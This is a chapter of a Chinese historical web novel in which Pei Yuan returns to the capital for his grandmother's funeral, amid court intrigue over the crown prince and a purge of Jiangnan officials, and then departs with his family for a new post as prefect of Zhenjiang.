从南京到京城,裴元和关宁业一路走官道快马加鞭的赶路,到了驿站就换马,几乎不要命一般在路上跑了半个月,这才风尘仆仆的到家。 君子六艺,裴元会骑马,关宁业更是半路转了武职。但再怎么会,一连半个月除了睡觉吃饭几乎都长在马背上,等到家的时候两人都着实狼狈得够呛。 “大哥呢,大哥回来没有。” “回来了,比你们早三天到的,林哥儿和川哥儿也跟着一起回来的,只有大嫂从去年年底开始不就病了吗,她带着细软家当走得慢些,顶多还有个三五天也能回来。” 前年关平业回来,除了看老太太最要紧的事就是要把妻子孩子带到任上去。金氏以前顾念着娘家不肯离京,可眼看着两个孩子越来越大跟关平业这个当爹的却越来越生疏,金氏这心啊是左右为难干什么都不对。 最后还是小冯氏这个妯娌,当着金氏和冯氏这个婆婆的面,直喇喇地问她:“嫂子,我可听说大哥在任上纳的两个姨娘都生了孩子了,您要是再左顾右盼地拿不定主意,往后大房这几个孩子到底谁跟大哥亲,就说不准了。” 话挺难听,却也是实话。她金氏满心满眼都是金家,可金家回乡多年对她这个姑奶奶也没见多好啊。每年送来的年礼换成银子顶多值金氏送过去的三分之一,东西便宜不说也不用心,那次过年金氏不因为这个怄气上火,府里上下都习惯了就她自己还没习惯。 要只是这样也就罢了,她到底姓金,心里惦记着爹娘不算错处, “你怎么回事啊,路上怎么也不拦着二表哥一点儿,将近一个月的路你们半个月就回来了,这么拼命万一路上出点什么意外,算谁的。” “嘶,他跟我不一样,那是他亲祖母。” 小冯氏搀着关宁业往自家小院那边走,谢九九也扶着裴元往停云斋去。回来了就得换孝服,然后马上就得去灵堂磕头守灵。关宁业是长房的孙子得给庞氏守孝一年,裴元按血脉算是外孙,也得守孝三个月。 “回来的路上他跟我说,说小时候大舅舅忙着外面的事, 他从小就是在老太太跟前长大的。后来他入锦衣卫,也是老太太拦着才没让大舅舅把他直接逐出府去。” “哟,还有这故事呢,那是不一样。” 回停云斋的路上两人有一搭没一搭地说着,直到进了屋谢九九替裴元把骑在马上磨得血赤糊拉的裤子脱下来,才重新皱紧了眉头。这一样不一样的,也不能这么玩命啊。 “好了好了,这都是皮肉伤,晚上敷一层棒疮药,两天就能长好。你就不问问我这次南巡干了些什么,咱们合计的那事成没成。” “成不成的我问了就好了?我不问。再说现在老太太一走,这府里要丁忧的爷们可就多了,咱们现在离京能行?” “你放心,陛下不会让关家人全躲了的。二皇子的亲娘就是江南望族送进宫去的,这些年二皇子在朝堂上的助力八成都在江南那边。” 现在皇帝亲自动手把江南和支持二皇子一党的人收拾得够呛,原本夹着尾巴做人的三皇子和四皇子最近这段时间可是活跃起来了。 反倒是太子,从当上太子的那一天整个东宫就无时无刻都被无数双眼睛盯着,投靠太子的势力和官员是最名正言顺,却也是最战战兢兢不敢行差踏错半步的,错一丁点儿,用不着别的皇子或是御史弹劾,陛下就会亲自出手。 毕竟储君也是君,太子和东宫对天下的意义不一样,天家父子是父子,但有时候也是对手。毕竟老皇帝没了这天下就该是新皇帝的了。 “陛下忌惮东宫,却也很想日后是太子继位登基,毕竟陛下的太子之位也不是一开始就是他的。” 顺位继承、名正言顺这件事对皇帝来说有执念,即便太子已经长成,每次看到那般英武壮年的太子都会莫名失落和焦躁,皇帝依旧希望能是太子来继承自己的皇位。 这样才能告诉天下人,当年先太子病死那是他命不好,那是他德才贤明不够撑不起这么大的气运。而自己,自己才是天命所归,所以不光自己能稳坐几十年的皇位,自己的嫡长子也能从自己手里把皇位接过去,千秋万代传下去! 陛下的这个心思不难琢磨,现在眼看着东宫势弱,朝廷的局势又被搅起了一滩浑水,陛下不会把太子身边得力的人弄走,所以关家一定会有人被夺情留下来,只看到时候留下来的是一个还是两个。 “那你呢?” “我?那就要看周既白那人能不能给我把差事收个漂亮的点儿的尾巴,走总归是要走的。” 庞氏停灵四十九天之后下葬,下葬第三天圣驾回京,一起带回来的还有大半个江南官场的人。 外面的人都在传,说如今的南直隶几乎是被陛下从上到下血洗了一遍,衙门里连坐堂的老爷都没有了,都是佐贰官在支应着。 传着传着流言就变了样,本来挺好一件事不知道怎么就成了陛下年迈要替太子提前把江南官场收拾一遍,以防江南的读书人和官员日后势力壮大。 偏生抓人抄家这种事,又不可能说真就一干二净清清白白,圣驾回京没多久,就有个妇人带着两个孩子进京敲登闻鼓。 说是锦衣卫和刑部的人罗织假证据诬告她家老爷,如今她的丈夫和弟弟都已经死在牢里了,家中所有财物能抢的也都被抢了去,她实在是没活路了,才带着两个孩子来京城敲登闻鼓告状。 事情是事实,但也不完全是事实。这母子三人就是江南那边推出来的一个引子,很快南边的豪富们又往京城送了万民伞和助饷银,替这次被抓的那些官员求情。 万民伞是要告诉陛下,江南的民心不能动摇,而南北距离这么远,谁来替朝廷安抚老百姓的民心,还不是他们这些本地的官员和富商乡绅。 贪没贪?肯定贪了。有没有作恶乡里?肯定不会干净到哪里去。但再不干净老百姓眼下还有口饭吃,每年从江南收上来的赋税钱粮也还有那么多,真要是把整个江南给弄乱了,到时候吃苦的还是老百姓。 助饷银更直接,明明白白告诉陛下,整个天下的军饷粮饷有多少是从江南出的,朝廷和陛下心里得有个数。 抄家抄得再狠不是本事,银子和买卖都是活的,都是需要人去做才能把银子赚回来的。真把江南这些官员和豪富都赶尽杀绝,边关的粮饷恐怕也要跟着告急了。 看着朝廷和江南你来我往的斗争拉扯,谢九九在家忍不住跟裴元咋舌。都说整个天下都是陛下的,如今一看哪儿就他一个人的了,还不是处处都要受人制衡掣肘。 查个官场贪污都弄得虎头蛇尾的,如今诏狱里还关满了的犯人,要想一个个的定罪,还不知道要扯皮扯到什么时候去。 不过好在这事跟裴元关系不大,裴元的调令已经下来了,镇江府知府,正四品,一府之长实打实的高升。 镇江府离南京不远,更重要的是所辖之地是漕运十分要紧的地方,长江和运河交汇处,不管是漕运还是商人往来都非常繁杂。 裴元这一路跟着处理漕运上的事了解了不少,本身又是从下面一步一步考上来的,身为三元及第的状元郎,把他摆在这个位置上不算委屈了他。 离京那天是个大晴天,谢九九这边来送行的人除了老潘、谢有粮、大头这些人还有春儿,春儿最终还是决定留在京城,因为她明白谢九九没有自己,还是会有办法在新的地方把新的云客来开起来,而自己心中更加放不下的,是状元楼和在状元楼里讨生活的这些人。 “大娘子,到了地方千万记得给我们写信,要是缺人手也要跟我们说,有粮已经带了徒弟,等把徒弟带得差不多了,他就跟过去帮您。” “知道了,你们就踏实守着铺子,要是有什么棘手麻烦的事就去找关大人,两个关大人都能找,别怕麻烦。能用人情解决的麻烦,都不算麻烦。” 裴元那边则显得更冷清些,关如璋已经带着关令仪和丁忧的关平业和整个大房回老家去了,留下来的只有关如琅和关宁业,甚至连杨氏都带着关继业和小女儿回了老家。 今天来送行的就只有关宁业和小冯氏,关如琅在东宫走不开,好在舅甥俩也把该说的都说了,这一次不见面也不妨碍什么。 “到了任上一切小心,有什么事可以去找锦衣卫千户所,镇江的漕运要紧,我们在那里有人。” “知道了,你留在京城也要小心,小舅舅为了东宫什么都能豁得出去,你在后面能拉就拉着点儿。” 两边都不放心对方,可送君千里终须一别。絮絮叨叨说了一箩筐话,等船老大在船上发出动静提醒,也就到了必须要分别的时候。 不过心生感慨的谢九九回头看看两个在船上看什么都新鲜的孩子,站在自己身侧穿着男装梳着发髻的妹妹,和另外一边还算意气风发还没蓄须,颜色模样还依旧好看的丈夫,又觉得往后的日子,应该还是挺有滋味的。【你现在阅读的是 】